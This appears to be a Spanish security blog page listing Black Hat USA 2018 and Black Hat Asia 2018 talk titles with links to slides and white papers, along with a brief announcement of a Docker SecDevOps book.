• Blockchain Autopsies - Analyzing Ethereum Smart Contract Deaths
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Little-Blockchain-Autopsies-Analyzing-Ethereum-Smart-Contract-Deaths.pdf )
• A Dive in to Hyper-V Architecture & Vulnerabilities
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Joly-Bialek-A-Dive-in-to-Hyper-V-Architecture-&-Vulnerabilities.pdf )
• No Royal Road … Notes on Dangerous Game
• There will be Glitches: Extracting and Analyzing Automotive Firmware Efficiently
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Milburn-There-Will-Be-Glitches-Extracting-And-Analyzing-Automotive-Firmware-Efficiently.pdf )
• Compression Oracle Attacks on VPN Networks
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Nafeez-Compression-Oracle-Attacks-On-Vpn-Networks.pdf )
• CANCELLED: Too Soft[ware Defined] Networks: SD-WAN VulnerabilityAssessment
• Screaming Channels: When Electromagnetic Side Channels Meet Radio Transceivers
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Camurati-Screaming-Channels-When-Electromagnetic-Side-Channels-Meet-Radio-Tranceivers.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Camurati-Screaming-Channels-When-Electromagnetic-Side-Channels-Meet-Radio-Tranceivers-wp.pdf )
• Remotely Attacking System Firmware
• Reversing a Japanese Wireless SD Card - From Zero to Code Execution
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Valadon-Reversing-a-Japanese-Wireless-SD-Card-From-Zero-to-Code-Execution.pdf )
• Deep Dive into an ICS Firewall, Looking for the Fire Hole
• Legal Landmines: How Law and Policy are Rapidly Shaping Information Security
• Every ROSE has its Thorn: The Dark Art of Remote Online Social Engineering
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Wixey-Every-ROSE-Has-Its-Thorn-The-Dark-Art-Of-Remote-Online-Social-Engineering.pdf )
• From Workstation to Domain Admin: Why Secure Administration isn’t Secure and How to Fix it
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Metcalf-From-Workstation-To-Domain-Admin-Why-Secure-Administration-Isnt-Secure.pdf )
• An Attacker Looks at Docker: Approaching Multi-Container Applications
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-McGrew-An-Attacker-Looks-At-Docker-Approaching-Multi-Container-Applications.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-McGrew-An-Attacker-Looks-At-Docker-Approaching-Multi-Container-Applications-wp.pdf )
• The Unbearable Lightness of BMC’s
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Waisman-Soler-The-Unbearable-Lightness-of-BMC.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Waisman-Soler-The-Unbearable-Lightness-of-BMC-wp.pdf )
• Mental Health Hacks: Fighting Burnout, Depression and Suicide in the Hacker Community
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Dameff-Mental-Health-Hacks-Fighting-Burnout-Depression-And-Suicide-In-The-Hacker-Community.pdf )
• WireGuard: Next Generation Secure Network Tunnel
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Donenfeld-WireGuard-Next-Generation-Secure-Network-Tunnel.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Donenfeld-WireGuard-Next-Generation-Secure-Nework-Tunnel-wp.pdf )
• Threat Modeling in 2018: Attacks, Impacts and Other Updates
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Shostack-Threat-Modeling-in-2018.pdf )
• Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Graeber-Subverting-Sysmon-Application-Of-A-Formalized-Security-Product-Evasion-Methodology.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Graeber-Subverting-Sysmon-Application-Of-A-Formalized-Security-Product-Evasion-Methodology-wp.pdf )
• Don’t @ Me: Hunting Twitter Bots at Scale
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Anise-Wright-Don'[email protected] )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Anise-Wright-Don'[email protected] )
• A Brief History of Mitigation: The Path to EL1 in iOS 11
  • [] ()
• ZEROing Trust: Do Zero Trust Approaches Deliver Real Security?
• Behind the Speculative Curtain: The True Story of Fighting Meltdown and Spectre
• Breaking Parser Logic: Take Your Path Normalization off and Pop 0days Out!
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf )
• LTE Network Automation Under Threat
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Shaik-LTE-Network-Automation-Under-Threat.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Shaik-LTE-Network-Automation-Under-Threat-wp.pdf )
• Why so Spurious? How a Highly Error-Prone x86/x64 CPU “Feature” can be Abused to Achieve Local Privilege Escalation on Many Operating Systems
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Mulasmajic-Peterson-Why-So-Spurious.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Mulasmajic-Peterson-Why-So-Spurious-wp.pdf )
• Open Sesame: Picking Locks with Cortana
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Beery-Open-Sesame-Picking-Locks-with-Cortana.pdf )
• Breaking the IIoT: Hacking industrial Control Gateways
• Squeezing a Key through a Carry Bit
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Valsorda-Squeezing-A-Key-Through-A-Carry-Bit.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Valsorda-Squeezing-A-Key-Through-A-Carry-Bit-wp.pdf )
• I, for One, Welcome Our New Power Analysis Overlords
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-O'Flynn-I-For-One-Welcome-Our-New-Power-Analysis-Overloards.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-O'Flynn-I-For-One-Welcome-Our-New-Power-Analysis-Overloards-wp.pdf )
• How can Communities Move Forward After Incidents of Sexual Harassment or Assault?
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Peterson-How-Can-Communities-Move-Forward-After-Incidents-Of-Sexual-Harassment-Or-Assault.pdf )
• AFL’s Blindspot and How to Resist AFL Fuzzing for Arbitrary ELF Binaries
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Li-AFLs-Blindspot-And-How-To-Resist-AFL-Fuzzing-For-Arbitrary-ELF-Binaries.pdf )
• Is the Mafia Taking Over Cybercrime?
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Lusthaus-Is-The-Mafia-Taking-Over-Cybercrime.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Lusthaus-Is-The-Mafia-Taking-Over-Cybercrime-wp.pdf )
• The Air-Gap Jumpers
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Guri-AirGap.pdf )
• Beating the Blockchain by Mapping Out Decentralized Namecoin and Emercoin Infrastructure
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Perlow-Beating-the-Blockchain-by-Mapping-Out_Decentralized_Namecoin-and-Emercoin-Infrastructure.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Perlow-Beating-the-Blockchain-by-Mapping-Out_Decentralized_Namecoin-and-Emercoin-Infrastructure-wp.pdf )
• InfoSec Philosophies for the Corrupt Economy
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Munro-Infosec-Philosophies-For-The-Corrupt-Economy.pdf )
• Back to the Future: A Radical Insecure Design of KVM on ARM
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-SINGH-BACK-TO-THE-FUTURE-A-RADICAL-INSECURE-DESIGN-OF-KVM-ON-ARM.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-SINGH-BACK-TO-THE-FUTURE-A-RADICAL-INSECURE-DESIGN-OF-KVM-ON-ARM-wp.pdf )
• A Tangled Curl: Attacks on the Curl-P Hash Function Leading to Signature Forgeries in the IOTA Signature Scheme
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Narula-Heilman-Cryptanalysis-of-Curl-P.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Wed-August-8/us-18-Narula-Heilman-Cryptanalysis-of-Curl-P-wp.pdf )
• ARTist - A Novel Instrumentation Framework for Reversing and Analyzing Android Apps and the Middleware
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Schranz-ARTist-A-Novel-Instrumentation-Framework-for-Reversing-and-Analyzing-Android-Apps-and-the-Middleware.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Schranz-ARTist-A-Novel-Instrumentation-Framework-for-Reversing-and-Analyzing-Android-Apps-and-the-Middleware-wp.pdf )
• Stop that Release, There’s a Vulnerability!
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Gadsby-Stop-That-Release,-There's-A-Vulnerability!.pdf )
• Two-Factor Authentication, Usable or Not? A Two-Phase Usability Study of the FIDO U2F Security Key
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Das-Two-Factor-Authentication-Usable-Or-Not.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Das-Two-Factor-Authentication-Usable-Or-Not-A-Two-Phase-Usability.pdf )
• Fire & Ice: Making and Breaking macOS Firewalls
• The Problems and Promise of WebAssembly
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Silvanovich-The-Problems-and-Promise-of-WebAssembly.pdf )
• Money-rity Report: Using Intelligence to Predict the Next Payment Card Fraud Victims
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Gollnick-Smyth-Money-Rity-Report-Using-Intelligence-To-Predict-The-Next-Payment-Card-Victims.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Gollnick-Smyth-Money-Rity-Report-Using-Intelligence-To-Predict-The-Next-Payment-Card-Victims-wp.pdf )
• Lessons from Virginia - A Comparative Forensic Analysis of WinVote Voting Machines
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Sch ürmann-Carsten-A-Comparative-Forensic-Analysis-of-WinVote-Voting-Machines.pdf)
• Demystifying PTSD in the Cybersecurity Environment
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Slowik-Demystifying-PTSD-In-The-Cybersecurity-Environment.pdf )
• Real Eyes, Realize, Real Lies: Beating Deception Technologies
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Hart-Real-Eyes-Realize-Real-Lies-Beating-Deception-Technologies.pdf )
• Kernel Mode Threats and Practical Defenses
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf )
• Snooping on Cellular Gateways and Their Critical Role in ICS
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Shattuck-Snooping-on-Cellular-Gateways-and-Their-Critical-Role-in-ICS.pdf )
• Your Voice is My Passport
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Seymour-Aqil-Your-Voice-Is-My-Passport.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Seymour-Aqil-Your-Voice-Is-My-Passport-wp.pdf )
• Identity Theft: Attacks on SSO Systems
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Ludwig-Identity-Theft-Attacks-On-SSO-Systems.pdf )
• Black Box is Dead. Long Live Black Box!
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Stennikov-Blackbox-is-dead--Long-live-Blackbox!.pdf )
• Reconstruct the World from Vanished Shadow: Recovering Deleted VSS Snapshots
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Kobayashi-Reconstruct-The-World-From-Vanished-Shadow-Recovering-Deleted-VSS-Snapshots.pdf )
• The Science of Hiring and Retaining Female Cybersecurity Engineers
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Holtz-The-Science-Of-Hiring-And-Retaining-Female-Cybersecurity-Engineers.pdf )
• The Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet
• New Norms and Policies in Cyber-Diplomacy
• Pestilential Protocol: How Unsecure HL7 Messages Threaten Patient Lives
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Dameff-Pestilential-Protocol-How-Unsecure-HL7-Messages_Threaten-Patient-Lives.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Dameff-Pestilential-Protocol-How-Unsecure-HL7-Messages-Threaten-Patient-Lives-wp.pdf )
• AI & ML in Cyber Security - Why Algorithms are Dangerous
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Marty-AI-and-ML-in-Cybersecurity.pdf )
• GOD MODE UNLOCKED - Hardware Backdoors in x86 CPUs
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Domas-God-Mode-Unlocked-Hardware-Backdoors-In-x86-CPUs.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Domas-God-Mode-Unlocked-Hardware-Backdoors-In-x86-CPUs-wp.pdf )
• Detecting Malicious Cloud Account Behavior: A Look at the New Native Platform Capabilities
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Geesaman-Detecting-Malicious-Cloud-Account-Behavior-A-Look-At-The-New-Native-Platform-Capabilities.pdf )
• Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Mueller-Dresen-EFAIL-Breaking-SMIME-And-OpenPGP-Email-Encryption-Using-Exfiltration-Channels.pdf )
• Decompiler Internals: Microcode
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Guilfanov-Decompiler-Internals-Microcode.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Guilfanov-Decompiler-Internals-Microcode-wp.pdf )
• Stealth Mango and the Prevalence of Mobile Surveillanceware
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Blaich-Stealth-Mango-and-the-Prevalence-of-Mobile-Surveillanceware.pdf )
• A Deep Dive into macOS MDM (and How it can be Compromised)
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Endahl-A-Deep-Dive-Into-macOS-MDM-And-How-It-Can-Be-Compromised.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Endahl-A-Deep-Dive-Into-macOS-MDM-And-How-It-Can-Be-Compromised-wp.pdf )
• Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Hernandez-Are-You-Trading-Stocks-Securely-Exposing-Security-Flaws-in-Trading-Technologies.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Hernandez-Are-You-Trading-Stocks-Securely-Exposing-Security-Flaws-in-Trading-Technologies-wp.pdf )
• Playback: A TLS 1.3 Story
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-GarciaAlguacil-MurilloMoya-Playback-A-TLS-1.3-Story.pdf )
• Outsmarting the Smart City
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Crowley-Savage-Paredes-Outsmarting-The-Smart-City.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Crowley-Outsmarting-The-Smart-City-wp.pdf )
• Protecting the Protector, Hardening Machine Learning Defenses Against Adversarial Attacks
• So I became a Domain Controller
• None of My Pixel is Your Business: Active Watermarking Cancellation Against Video Streaming Service
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Hui-None-Of-My-Pixel-Is-Your-Business-Active-Watermarking-Cancellation-Against-Video-Streaming-Service.pdf )
• WebAssembly: A New World of Native Exploits on the Browser
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp.pdf )
• Applied Self-Driving Car Security
  • [] ()
• TLBleed: When Protecting Your CPU Caches is Not Enough
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Gras-TLBleed-When-Protecting-Your-CPU-Caches-is-Not-Enough.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Gras-TLBleed-When-Protecting-Your-CPU-Caches-is-Not-Enough-w.pdf )
• Wrangling with the Ghost: An Inside Story of Mitigating Speculative Execution Side Channel Vulnerabilities
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Fogh-Ertl-Wrangling-with-the-Ghost-An-Inside-Story-of-Mitigating-Speculative-Execution-Side-Channel-Vulnerabilities.pdf )
• Another Flip in the Row
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Gruss-Another-Flip-in-the-Row.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Gruss-Another-Flip-In-The-Row-wp.pdf )
• Windows Offender: Reverse Engineering Windows Defender’s Antivirus Emulator
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Bulazel-Windows-Offender-Reverse-Engineering-Windows-Defenders-Antivirus-Emulator.pdf )
• Legal Liability for IOT Cybersecurity Vulnerabilities
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Palansky-Legal-Liability-For-IoT-Vulnerabilities.pdf )
• How can Someone with Autism Specifically Enhance the Cyber Security Workforce?
• Exploitation of a Modern Smartphone Baseband
• Last Call for SATCOM Security
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Santamarta-Last-Call-For-Satcom-Security.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Santamarta-Last-Call-For-Satcom-Security-wp.pdf )
• Automated Discovery of Deserialization Gadget Chains
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf )
• Catch me, Yes we can! – Pwning Social Engineers using Natural Language Processing Techniques in Real-Time
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Harris-Catch-Me-Yes-We-Can –Pwning-Social-Engineers-Using-Natural-Language-Techniques-In-Real-Time.pdf)
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Harris-Catch-Me-Yes-We-Can –Pwning-Social-Engineers-Using-Natural-Language-Techniques-In-Real-Time-wp.pdf)
• From Thousands of Hours to a Couple of Minutes: Automating Exploit Generation for Arbitrary Types of Kernel Vulnerabilities
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Wu-Towards-Automating-Exploit-Generation-For-Arbitrary-Types-of-Kernel-Vulnerabilities.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Wu-Towards-Automating-Exploit-Generation-For-Arbitrary-Types-of-Kernel-Vulnerabilities-wp.pdf )
• SDL That Won’t Break the Bank
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Lipner-SDL-For-The-Rest-Of-Us.pdf )
• Lowering the Bar: Deep Learning for Side Channel Analysis
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-perin-ege-vanwoudenberg-Lowering-the-bar-Deep-learning-for-side-channel-analysis.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-perin-ege-vanwoudenberg-Lowering-the-bar-Deep-learning-for-side-channel-analysis-wp.pdf )
• Mainframe [z/OS] Reverse Engineering and Exploit Development
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Rikansrud-Mainframe-[zOS]-Reverse-Engineering-and-Exploit-Development.pdf )
• Hardening Hyper-V through Offensive Security Research
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Rabet-Hardening-Hyper-V-Through-Offensive-Security-Research.pdf )
• Practical Web Cache Poisoning: Redefining ‘Unexploitable’
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Kettle-Practical-Web-Cache-Poisoning-Redefining-Unexploitable.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Kettle-Practical-Web-Cache-Poisoning-Redefining-Unexploitable-wp.pdf )
• For the Love of Money: Finding and Exploiting Vulnerabilities in Mobile Point of Sales Systems
• SirenJack: Cracking a ‘Secure’ Emergency Warning Siren System
• Understanding and Exploiting Implanted Medical Devices
• IoT Malware: Comprehensive Survey, Analysis Framework and Case Studies
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Costin-Zaddach-IoT-Malware-Comprehensive-Survey-Analysis-Framework-and-Case-Studies.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Costin-Zaddach-IoT-Malware-Comprehensive-Survey-Analysis-Framework-and-Case-Studies-wp.pdf )
• The Finest Penetration Testing Framework for Software-Defined Networks
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Lee-The-Finest-Penetration-Testing-Framework-for-Software-Defined-Networks.pdf )
• It’s a PHP Unserialization Vulnerability Jim, but Not as We Know It
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf )
• Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Native Library
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Stone-Unpacking-The-Packed-Unpacker.pdf )
• Return of Bleichenbacher’s Oracle Threat (ROBOT)
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Boeck-Young-Return-Of-Bleichenbachers-Oracle-Threat.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Boeck-Young-Return-Of-Bleichenbachers-Oracle-Threat-wp.pdf )
• Over-the-Air: How we Remotely Compromised the Gateway, BCM, and Autopilot ECUs of Tesla Cars
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Liu-Over-The-Air-How-We-Remotely-Compromised-The-Gateway-Bcm-And-Autopilot-Ecus-Of-Tesla-Cars.pdf )
  • [Download White Paper] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Liu-Over-The-Air-How-We-Remotely-Compromised-The-Gateway-Bcm-And-Autopilot-Ecus-Of-Tesla-Cars-wp.pdf )
• DeepLocker - Concealing Targeted Attacks with AI Locksmithing
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Kirat-DeepLocker-Concealing-Targeted-Attacks-with-AI-Locksmithing.pdf )
• Meltdown: Basics, Details, Consequences
• Follow the White Rabbit: Simplifying Fuzz Testing Using FuzzExMachina
  • [Download Presentation Slides] ( http://i.blackhat.com/us-18/Thu-August-9/us-18-Ulitzsch-Follow-The-White-Rabbit-Simplifying-Fuzz-Testing-Using-FuzzExMachina.pdf )
• Lessons and Lulz: The 4th Annual Black Hat USA NOC Report

Docker: SecDevOps. Nuevo Libro

*Libro Docker: SevDevOps*

Cómo ya nos adelantó Chema en su blog , la editorial 0xWord acaba de publicar un nuevo libro sobre Docker y su uso en entornos SecDevOps .

El libro ha sido escrito por Fran Ramírez ( @Cybercaronte ), Elías Grande ( @3grander ) y el que escribe, Rafael Troncoso ( @tuxotron ).

El libro contiene material tanto para los no iniciados, como para los que ya conocen Docker. Aunque Docker no es la única opción en el ámbito de los contenedores de aplicaciones, es sin duda alguna la más conocida y extendida hasta la fecha.

Presentaciones De Black Hat Asia 2018

*Black Hat Asia 2018*

Ya están disponibles la mayoría de las presentaciones de Black Hat Asi 2018 celebrada el pasado 20-23 de marzo:

• A Short Course in Cyber Warfare
• National Cyber-Aggression and Private-Sector Internet Infrastructure
• A Deal with the Devil: Breaking Smart Contracts
  • Wong-Hemmel-A-Deal-with-the-Devil-Breaking-Smart-Contracts.pdf
• A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!
  • Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages_update_Thursday.pdf
• AES Wireless Keyboard – Template Attack for Eavesdropping
  • Kim-AES-Wireless-Keyboard-Template-Attack-for-Eavesdropping.pdf
• All Your Payment Tokens Are Mine: Vulnerabilities of Mobile Payment Systems
  • zhou-ALL%20YOUR%20PAYMENT%20TOKENS%20ARE%20MINE%20VULNERABILITIES%20OF%20MOBILE%20PAYMENT%20SYSTEMS.pdf
  • zhou-ALL%20YOUR%20PAYMENT%20TOKENS%20ARE%20MINE%20VULNERABILITIES%20OF%20MOBILE%20PAYMENT%20SYSTEMS-wp.pdf
• Analyzing & Breaking Exploit Mitigations and PRNGs on QNX for Automotive Industrial Medical and other Embedded Systems
  • Wetzels_Abassi_dissecting_qnx__PPT.pdf
  • Wetzels_Abassi_dissecting_qnx__WP.pdf
• Back To The Epilogue: How to Evade Windows’ Control Flow Guard with Less than 16 Bytes
  • Lain-Back-To-The-Epilogue-How-To-Evade-Windows-Control-Flow-Guard-With-Less-Than-16-Bytes.pdf
• Breach Detection At Scale With AWS Honey Tokens
  • bourke-grzelak-breach-detection-at-scale-with-aws-honey-tokens.pdf
  • bourke-grzelak-breach-detection-at-scale-with-aws-honey-tokens-wp.pdf
• Breaking State-of-the-Art Binary Code Obfuscation via Program Synthesis
  • Blazytko-Breaking-State-Of-The-Art-Binary-Code-Obfuscation-Via-Program-Synthesis.pdf
  • Blazytko-Breaking-State-Of-The-Art-Binary-Code-Obfuscation-Via-Program-Synthesis-wp.pdf
• Breaking the Attack Graph: How to Leverage Graphs to Strengthen Security in a Domain Environment
  • Simakov-Marina-Breaking-The-Attack-Graph.pdf
• Counter-Infiltration: Future-Proof Counter Attacks Against Exploit Kit Infrastructure
  • papa-Future-Proof%20Counter%20Attacks%20Against%20Exploit%20Kit%20Infrastructure.pdf
• Cyber Comrades: Alliance-Building in Cyberspace
  • Geers-Cyber%20Comrades%20Alliance%20Building%20in%20Cyberspace.pdf
• Death Profile
  • Zhu%20and%20Li-Death%20Profile.pdf
  • Zhu%20and%20Li-Death%20Profile-wp.pdf
• Documenting the Undocumented: The Rise and Fall of AMSI
  • Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf
• eMMC & UFS: Security Vulnerabilities Rootkits
• Hourglass Model 2.0: Case Study of Southeast Asia Underground Services Abusing Global 2FA
  • [Asia-18-CHUNG-Hourglass 2.0.pdf]( https://www.blackhat.com/docs/asia-18/Asia-18-CHUNG-Hourglass 2.0.pdf)
• I Don’t Want to Sleep Tonight: Subverting Intel TXT with S3 Sleep
  • Seunghun-I_Dont_Want_to_Sleep_Tonight_Subverting_Intel_TXT_with_S3_Sleep.pdf
• International Problems: Serialized Fuzzing for ICU Vulnerabilities
  • Deng-International-Problems-Serialized-Fuzzing-for-ICU-Vulnerabilities.pdf
• Invoke-DOSfuscation: Techniques FOR %F IN (-style) DO (S-level CMD Obfuscation)
  • bohannon-invoke_dosfuscation_techniques_for_fin_style_dos_level_cmd_obfuscation.pdf
  • bohannon-invoke_dosfuscation_techniques_for_fin_style_dos_level_cmd_obfuscation-wp.pdf
• KSMA: Breaking Android Kernel Isolation and Rooting with ARM MMU Features
  • WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf
• Locknote: Conclusions and Key Takeaways from Black Hat Asia 2018
